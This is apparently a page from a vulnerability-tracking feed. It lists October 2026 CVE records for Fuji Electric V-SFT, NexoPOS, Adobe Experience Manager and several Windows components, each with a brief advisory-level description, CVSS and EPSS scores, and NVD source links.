NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
Electronic delivery item Inspection Support System provided by Japan's Ministry of Land, Infrastructure, Transport and Tourism contains an improper file access permission vulnerability. Files in the installation folder of the application may be tampered with, resulting in arbitrary code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### V-SFT provided by FUJI ELECTRIC CO., LTD.
https://kevwire.com/record/CVE-2026-107900
V-SFT provided by FUJI ELECTRIC CO., LTD. (Oct 26, 2026).
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!CCheck::ItemCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107900).
Sources:
NVD CVE-2026-107900: https://nvd.nist.gov/vuln/detail/CVE-2026-107900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!CCheck::ItemCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### V-SFT provided by FUJI ELECTRIC CO., LTD.
https://kevwire.com/record/CVE-2026-107899
V-SFT provided by FUJI ELECTRIC CO., LTD. (Oct 26, 2026).
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::CheckSymbolMacroParam. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107899).
Sources:
NVD CVE-2026-107899: https://nvd.nist.gov/vuln/detail/CVE-2026-107899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::CheckSymbolMacroParam. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### V-SFT provided by FUJI ELECTRIC CO., LTD.
https://kevwire.com/record/CVE-2026-107898
V-SFT provided by FUJI ELECTRIC CO., LTD. (Oct 26, 2026).
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::MacroCommandCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107898).
Sources:
NVD CVE-2026-107898: https://nvd.nist.gov/vuln/detail/CVE-2026-107898
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6EditData!CDataRomErrorCheck::MacroCommandCheck. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### V-SFT provided by FUJI ELECTRIC CO., LTD.
https://kevwire.com/record/CVE-2026-107897
V-SFT provided by FUJI ELECTRIC CO., LTD. (Oct 26, 2026).
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6MemInIF!set_temp_type_default. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107897).
Sources:
NVD CVE-2026-107897: https://nvd.nist.gov/vuln/detail/CVE-2026-107897
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6MemInIF!set_temp_type_default. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### V-SFT provided by FUJI ELECTRIC CO., LTD.
https://kevwire.com/record/CVE-2026-107896
V-SFT provided by FUJI ELECTRIC CO., LTD. (Oct 26, 2026).
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!load_gr_item. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107896).
Sources:
NVD CVE-2026-107896: https://nvd.nist.gov/vuln/detail/CVE-2026-107896
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds read vulnerability in VS6ComFile!load_gr_item. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### V-SFT provided by FUJI ELECTRIC CO., LTD.
https://kevwire.com/record/CVE-2026-107895
V-SFT provided by FUJI ELECTRIC CO., LTD. (Oct 26, 2026).
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds write vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107895).
Sources:
NVD CVE-2026-107895: https://nvd.nist.gov/vuln/detail/CVE-2026-107895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
V-SFT provided by FUJI ELECTRIC CO., LTD. contains an out-of-bounds write vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### V-SFT provided by FUJI ELECTRIC CO., LTD.
https://kevwire.com/record/CVE-2026-107894
V-SFT provided by FUJI ELECTRIC CO., LTD. (Oct 26, 2026).
V-SFT provided by FUJI ELECTRIC CO., LTD. contains a stack-based buffer overflow vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107894).
Sources:
NVD CVE-2026-107894: https://nvd.nist.gov/vuln/detail/CVE-2026-107894
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
V-SFT provided by FUJI ELECTRIC CO., LTD. contains a stack-based buffer overflow vulnerability. Opening a crafted V7 file may lead to information exposure or arbitrary code execution on the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NexoPOS v6.2.4 is vulnerable to Directory Traversal via the api/update endpoint.
https://kevwire.com/record/CVE-2026-107092
NexoPOS v6.2.4 is vulnerable to Directory Traversal via the api/update endpoint. (Oct 26, 2026).
NexoPOS v6.2.4 is vulnerable to Directory Traversal via the api/update endpoint.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107092).
Sources:
NVD CVE-2026-107092: https://nvd.nist.gov/vuln/detail/CVE-2026-107092
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NexoPOS v6.2.4 is vulnerable to Directory Traversal via the api/update endpoint.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-106626
Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106626).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106626&date=2026-10-25).
Sources:
NVD CVE-2026-106626: https://nvd.nist.gov/vuln/detail/CVE-2026-106626
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106626&date=2026-10-25
Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Providers allows an authorized attacker to elevate privileges...
https://kevwire.com/record/CVE-2026-103568
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Providers allows an authorized attacker to elevate privileges... (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Providers allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103568).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103568&date=2026-10-25).
Sources:
NVD CVE-2026-103568: https://nvd.nist.gov/vuln/detail/CVE-2026-103568
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103568
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103568&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Providers allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows IKE Extension allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-103569
Out-of-bounds read in Windows IKE Extension allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Windows IKE Extension allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103569).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103569&date=2026-10-25).
Sources:
NVD CVE-2026-103569: https://nvd.nist.gov/vuln/detail/CVE-2026-103569
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-103569
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103569&date=2026-10-25
Out-of-bounds read in Windows IKE Extension allows an unauthorized attacker to disclose information over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-105004
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105004).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105004&date=2026-10-25).
Sources:
NVD CVE-2026-105004: https://nvd.nist.gov/vuln/detail/CVE-2026-105004
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105004
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105004&date=2026-10-25
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows Schannel allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105005
Out-of-bounds write in Windows Schannel allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds write in Windows Schannel allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105005).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105005&date=2026-10-25).
Sources:
NVD CVE-2026-105005: https://nvd.nist.gov/vuln/detail/CVE-2026-105005
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-105005
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105005&date=2026-10-25
Out-of-bounds write in Windows Schannel allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102218
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102218).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102218&date=2026-10-25).
Sources:
NVD CVE-2026-102218: https://nvd.nist.gov/vuln/detail/CVE-2026-102218
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102218&date=2026-10-25
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102220
Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally.
